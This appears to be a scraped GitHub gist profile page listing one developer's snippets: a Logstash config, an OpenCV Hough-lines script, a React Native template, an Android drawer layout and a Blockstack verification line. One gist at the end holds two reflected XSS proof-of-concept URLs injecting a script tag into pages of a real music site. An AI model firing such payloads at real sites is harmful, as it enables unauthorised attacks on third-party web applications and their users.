Skip to content

Instantly share code, notes, and snippets.

Avatar

sospartan zheng sospartan

View GitHub Profile
@sospartan
sospartan / replay.conf
Created Mar 13, 2020
logstash config to replay day by day
View replay.conf
input {
generator {
lines => [
"recap"
]
count => 1
}
}
View gist:0a1fcc9e6ccbb5b37807a27eafdf7501
Verifying my Blockstack ID is secured with the address 18t1oqYueQPMudpJLmdt5NbZh3yAT7twn1 https://explorer.blockstack.org/address/18t1oqYueQPMudpJLmdt5NbZh3yAT7twn1
View interactive.py
import cv2
import numpy as np
canny = rho = threshold = minLen = maxGap = None
def draw():
lines = cv2.HoughLinesP(canny, rho, np.pi / 180,
threshold, None, minLen, maxGap)
dst = cv2.cvtColor(canny, cv2.COLOR_GRAY2BGR)
@sospartan
sospartan / index.js
Last active Nov 18, 2015
simple react-native navigator template
View index.js
/**
* Created by sospartan on 11/18/15.
*/
'use strict';
var React = require('react-native');
var {
StyleSheet,
Text,
@sospartan
sospartan / VerticalDrawerLayout.java
Created May 20, 2013
VerticalDrawerLayout based on support-v4
View VerticalDrawerLayout.java
import android.content.Context;
import android.content.res.TypedArray;
import android.graphics.Canvas;
import android.graphics.Paint;
import android.graphics.PixelFormat;
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
import android.os.Parcel;
import android.os.Parcelable;
View dd
http://www.xiami.com/radio/play/type/5/oid/63172?var=xss"></a><script>alert(/xss/)</script>
http://www.xiami.com/song/showcollect/id/5777?var=xss"></a><script>alert(/xss/)</script>